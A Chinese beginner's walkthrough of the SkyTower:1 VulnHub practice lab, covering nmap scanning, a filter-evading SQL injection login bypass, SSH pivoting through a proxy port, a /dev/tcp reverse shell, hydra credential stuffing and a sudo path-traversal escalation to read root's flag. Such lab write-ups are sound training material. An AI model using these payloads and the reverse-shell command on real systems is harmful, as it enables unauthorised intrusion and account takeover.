SkyTower1靶场练习&小白向&靶场安装&sql语句被过滤&万能SQL密码

下载链接:

SkyTower: 1 ~ VulnHub

安装:

下载解压后打开vxbox,新建虚拟机,系统选择linux,使用已有虚拟硬盘文件

选择解压后的vdi文件

后直接创建

设置中的网络链接模式根据自己情况定

我这里选择的是桥接模式

完成后直接启动即可

正文:

先用nmap扫描靶机ip

复制代码
nmap -sn 192.168.1.1/24

获取到靶机ip后,对靶机的端口进行扫描,并把结果输出到skytower1文件夹下,命名为port方便后续查看

复制代码
nmap -p- 192.168.1.4 -r -PN -oA skytower1/port

(-p-:对所有端口进行探测

-PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

-oA:输出到指定位置

-r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

对端口指纹进行详细探测,并把结果输出到skytower1文件夹下,命名为server方便后续查看

复制代码
nmap -p 22,80,3128 192.168.1.4 -sC -sV -r -O --version-all -A -oA skytower1/server

(-p:对指定的端口进行探测

-sV:版本信息

-sC:默认脚本扫描

-A:启动Os检测,版本检测,脚本扫描和traceroute

-O:探测操作系统信息

--version-all:尽可能多的探测信息)

经过查询得知3128端口为一个代理端口,结合22端口的状态为filtered,那么大概率22端口是被过滤掉了

使用默认漏洞脚本对端口进行探测

复制代码
nmap -p 22,80,3128 192.168.1.4 --script=vuln

我们发现80端口下的login.php有sql注入漏洞,注入点为email

访问80端口

是个朴实无华的登录框

进行目录扫描,并没有新发现

复制代码
dirsearch -u "192.168.1.4"

既然这里有sql注入,打开bp抓包,抓取登录数据包

将该数据保存到sqlmap目录下的1.txt,然后运行sqlmap进行注入尝试

复制代码
python sqlmap.py -r 1.txt --dbs --batch

注入失败,我们进行抓包手动尝试

右键将该数据发送到重放器中

在重放器中修改emali参数,在emali参数后加单引号

证实了这里确实有sql注入漏洞

既然sqlmap跑不出来,那我们进行万能密码尝试

复制代码
admin'+or+'1'='1

同样不可行,换一种万能密码

复制代码
admin'+or+'1'='1'--+

根据返回的信息得知,万能密码的or位置被替换为了空格并且等于号也被过滤掉了

将or双写以及等于号替换为like再次进行尝试

复制代码
admin'+oorr+'1'like'1'--+

后面的 --+同样被屏蔽掉了,那将--+去掉,并删除最后一个单引号,让他重新进行闭合状态

复制代码
admin'+oorr+'1'like'1

看样子是登录成功了,返回80界面进行尝试

登陆失败?

打开bp抓登陆包,然后再bp中修改发包信息

进行发包尝试

登录成功

获取到一个账号以及密码

复制代码
john:hereisjohn

获取shell

尝试进行ssh登录

但是是没法登陆的,因为在最开始的nmap扫描结果中,22端口是被过滤掉的,但是3128端口是一个代理端口,那我们可以尝试下用该端口进行代理访问22端口

先打开proxychains的配置文件进行配置代理

复制代码
vim /etc/proxychains.conf

在最下方添加一条(单机键盘上的"i"键即可进行修改操作,修改完成后按"esc"然后输":wq"即可保存退出)

复制代码
http 192.168.1.4 3128

并且把socks4这一条进行屏蔽(在指令前加井号即可屏蔽)

保存退出

先用nmap进行扫描对我们的猜想进行验证

复制代码
proxychains nmap -PN 192.168.1.4 -p22 --min-rate 3000 -sT

果然,22端口状态变为open

尝试对我们获取到的账号密码进行登录

john:hereisjohn

复制代码
proxychains ssh john@192.168.1.4

登是登录上了,但是我们被直接退出来了

但是在进行ssh登陆时可以携带一条指令

再次进行尝试

复制代码
proxychains ssh john@192.168.1.4 whoami

既然可以执行,那我们执行一个反弹shell

新打开一个窗口进行nc监听

复制代码
nc -lvvp 8080

然后回到刚才的窗口进行反弹shell

复制代码
proxychains ssh john@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

输入密码

回到nc

反弹成功

经过查询,在该文件夹下的.bashrc文件是导致我们ssh连接时直接给我们断开的罪魁祸首

查看该文件

复制代码
cat .bashrc

是不是很熟悉?我们之前直接进行ssh登录时返回的语句可不就是这个么

我们对该文件直接重命名给或者删除

复制代码
mv .bashrc .bashrc.bak

然后退出nc,回到ssh界面,再次尝试登录

复制代码
proxychains ssh john@192.168.1.4

登录成功

提权

查看具有suid权限的文件,看下有没有什么提权可以用的文件

复制代码
find / -perm -u=s -type f 2>/dev/null

查看计划任务

复制代码
cat /etc/crontab

都没有我们可以利用的东西

既然在80端口有sql注入漏洞,那么在login下大概率会有mysql的账号密码

查看下login.php文件进行确认

切换到目录 /var/www

复制代码
cd /var/www

查看login.php文件

复制代码
cat login.php

确实存在,账号密码都为root

我们进行mysql登录

复制代码
mysql -u root -p

输入密码root

登陆成功

查看数据库

复制代码
show databases;
复制代码
show databases;
复制代码
show tables;
复制代码
select * from login;

将账号密码都进行保存

打开新窗口

复制代码
vim user.txt

将账号保存进去

复制代码
vim pass.txt

将密码保存进去

我们可以进行对ssh端口进行挨个尝试

看能不能撞库成功(可以直接在80端口上进行登录,最后也是会获取到同样的账号密码,我这里习惯的先进行撞库)

复制代码
proxychains hydra -L user.txt -P pass.txt ssh://192.168.1.4 -v

成功,既然我们登陆过john,那我们再次尝试登录sara

复制代码
proxychains ssh sara@192.168.1.4

既然还是同样的方式给我们提出来了,我们再次用同样的方法进行反弹shell

打开nc监听

复制代码
nc -lvvp 8080
复制代码
proxychains ssh sara@192.168.1.4 "sh -i >& /dev/tcp/192.168.1.3/8080 0>&1"

反弹成功

同样的方法删除或者重命名.bashrc文件

复制代码
mv .bashrc .bashrc.bak

退出nc,再次尝试ssh登录

复制代码
proxychains ssh sara@192.168.1.4

登陆成功

查看下该用户的权限

既然他又这个权限(用root权限执行/bin/cat /accounts/* 不需要密码)

那我们可以尝试用这个进行提权

复制代码
sudo /bin/cat /accounts/ ../../etc/passwd

发现该方法确实可行

我们可以用该方法去查看下root目录有什么文件,只需要将"cat"替换为"ls"

复制代码
sudo /bin/ls /accounts/ ../../root

有个flag文件,我们进行查看

复制代码
sudo /bin/cat /accounts/ ../../root/flag.txt

root的密码竟然藏在这里

将账户切换为root

复制代码
su root

输入密码theskytower

成功

相关推荐
Lu Yao_7 小时前
Redis 持久化
数据库·redis·缓存
June`7 小时前
Redis5安装与核心命令详解
数据库·redis·缓存
心灵宝贝8 小时前
CentOS 7 安装 bzip2-libs-1.0.6-13.el7.x86_64.rpm 的详细步骤
linux·运维·centos
mjx65309 小时前
windows查看端口使用情况,以及结束任务释放端口
linux
九皇叔叔10 小时前
Linux Shell 函数:从定义到实战,让脚本更高效
linux·运维·chrome·shell
安当加密10 小时前
达梦数据库TDE透明加密解决方案:构建高安全数据存储体系
网络·数据库·安全
Jabes.yang12 小时前
Java求职面试实战:从Spring Boot到微服务架构的技术探讨
java·数据库·spring boot·微服务·面试·消息队列·互联网大厂
璞致电子13 小时前
fpga开发板ZYNQ 璞致 PZ7010/7020 邮票孔核心板简介-ZYNQ7000系列小系统学习板
linux·嵌入式硬件·学习·fpga开发·fpga·fpga开发板·xilinx开发板
第四维度413 小时前
【全志V821_FoxPi】9-2 Linux IIC驱动MPU6050
linux·传感器·tina·mpu6050·v821
isyangli_blog13 小时前
(6)数据中心、台式(塔式)服务器、机架式服务器、刀片式服务器
运维·服务器